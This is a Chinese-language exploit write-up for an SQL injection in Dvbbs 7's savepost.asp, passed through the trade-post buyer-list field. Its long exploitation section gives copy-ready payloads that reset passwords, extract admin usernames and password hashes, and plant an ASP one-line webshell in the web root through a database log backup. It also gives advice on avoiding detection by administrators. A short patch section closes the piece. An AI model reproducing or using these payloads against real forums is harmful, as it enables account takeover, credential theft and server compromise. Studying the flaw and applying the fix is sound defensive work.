一、概述
漏洞介紹:
http://coolersky.com/leak/programme/bbs/2006/0515/515.html |
前幾天就聽Hak_Ban說有人把dvbbs7的一個注入漏洞給發布出去了,一直也沒時間看看,下午跟Edward要了個連結看了看:
http://www.eviloctal.com/forum/read.php?tid=22074 |
本站轉貼為:
http://coolersky.com/articles/hack/analysis/programme/2006/0515/238.html |
看了看風塵浪子的分析,覺得已經分析的挺明白的了,不過群裡還是有幾個朋友搞不太明白,索性在本地搭環境測試一下漏洞,感謝keng提供者,呵呵,實在懶得去網上找。
二、漏洞分析
既然是savepost.asp程式的問題,那就開啟改檔案,風塵浪子已經提到是ToolsBuyUser參數過濾不足,那就看這個變數。
32行,定義變數:
Private GetPostType,ToMoney,UseTools,ToolsBuyUser,GetMoneyType,Tools_UseTools,Tools_LastPostTime,ToolsInfo,ToolsSetting |
111行,置空
120行,在參數GetPostType為0時,賦值
ToolsBuyUser = "0|||$SendMoney" |
123行,在參數GetPostType為1時,賦值
ToolsBuyUser = "0|||$GetMoney" |
139行,在參數GetPostType為2時,賦值
ToolsBuyUser = "0@@@"&Buy_Orders&"@@@"&Buy_VIPType&"@@@"&Buy_UserList&"|||$PayMoney|||" |
747行,定義sql
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
745行,執行sql
我們看到,在整個獲得資料到提交的過程中,沒有對ToolsBuyUser參數進行安全過濾,導致了sql注入漏洞。
三、漏洞利用
1、註冊使用者coolersky
2、選擇發表新話題
3、在“選擇文章類型”中選中“論壇交易帖設定”
4、在“可購買使用者名稱單限制:”中寫入
'將自身使用者口令修改為123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='coolersky';-- |
修改口令後,重新登陸論壇,若使用123456登陸成功,則說明該漏洞尚未修補。
5、獲得前台管理使用者名和口令,分別放在自訂頭像和簽名中,查看使用者coolersky的基本資料即可看到。
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員'),usersign=(select top 1 userpassword from dv_user where userclass='管理員') where username='coolersky';-- |
6、獲得後台管理使用者名和口令
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin),usersign=(select top 1 password from dv_admin) where username='coolersky';-- |
7、通過日誌查看後台管理密碼
coolersky',0);update dv_user set usersign=(select l_content from dv_log where l_content like '%password2%') where username='coolersky';-- |
8、獲得資料庫名稱
coolersky',0);update dv_user set userface=(select db_name())where username='coolersky';-- |
9、日誌差異備份webshell
'替換dbname為上一步獲得的資料庫名稱,日誌差異備份要db_owner許可權! '替換d:\web\dvbbs7\為當前論壇實體路徑,怎麼獲得別來問我! coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values ('<%execute request("l")%>');backup log dbname to disk = 'd:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
或者
coolersky',0);alter database dbname set RECOVERY FULL;create table temptt (a image);backup log dbname to disk = 'c:\acool_back' with init;insert into temptt (a) values (0x273C2565786563757465207265717565737428226C2229253E27);backup log dbname to disk = ''d:\web\dvbbs7\temptt.asp';drop table temptt;alter database dbname set RECOVERY SIMPLE;-- |
使用最小asp木馬用戶端串連即可!
10、直接修改管理員口令
通過5、6、7三個步驟可以獲得管理員前背景使用者名稱和密碼,至少密碼是16位md5,我們可以通過網路查詢或者暴力破解獲得管理員口令來登入前後台,但是也很可能沒辦法破解出口令。
而如果也無法獲得論壇的實體路徑,那麼只好通過修改管理員口令來實現了,當然能不改管理員口令還是盡量避免修改,否則馬上就被管理員知道被入侵了。
(1)獲得前台管理使用者名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_user where userclass='管理員')where username='test';-- |
(2)修改前台管理員口令:
'假設我們獲得前台管理使用者名為admin,修改密碼為123456 coolersky',0);update dv_user set userpassword='49ba59abbe56e057' where username='admin';-- |
(3)獲得後台管理使用者名:
coolersky',0);update dv_user set userface=(select top 1 username from dv_admin)where username='test';-- |
(4)修改後台管理員口令:
'假設我們獲得後台管理使用者名為admin,修改密碼為123456 coolersky',0);update dv_admin set password='49ba59abbe56e057' where username='admin';-- |
(5)登入前台上傳mdb構造過的asp一句話後門,後台back為asp或asa檔案即可,如何操作不在本文描述過程中。
通過以上操作,只要伺服器支援多語句,那麼我們還可以對資料庫進行更多操作。
四、漏洞修補
1、從dvbbs下載最新補丁
http://bbs.dvbbs.net/dispbbs.asp?boardID=8&ID=1187367&page=1 |
2、開啟savepost.asp檔案,將747行
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&ToolsBuyUser&"',"&GetMoneyType&")" |
修改為:
SQL="insert into "&TotalUseTable&"(Boardid,ParentID,username,topic,body,DateAndTime,length,RootID,layer,orders,ip,Expression,locktopic,signflag,emailflag,isbest,PostUserID,isupload,IsAudit,Ubblist,GetMoney,UseTools,PostBuyUser,GetMoneyType) values ("&Dvbbs.boardid&","&ParentID&",'"&username&"','"&topic&"','"&Content&"','"&DateTimeStr&"','"&Dvbbs.strlength(Content)&"',"&RootID&","&ilayer&","&iorders&",'"&Dvbbs.UserTrueIP&"','"&Expression(1)&"',"&locktopic&","&signflag&","&mailflag&",0,"&Dvbbs.userid&","&ihaveupfile&","&IsAudit&",'"&UbblistBody&"',"&ToMoney&",'"&UseTools&"','"&dvbbs.checkstr(ToolsBuyUser)&"',"&GetMoneyType&")" |
即用dvbbs.checkstr函數過濾ToolsBuyUser內容。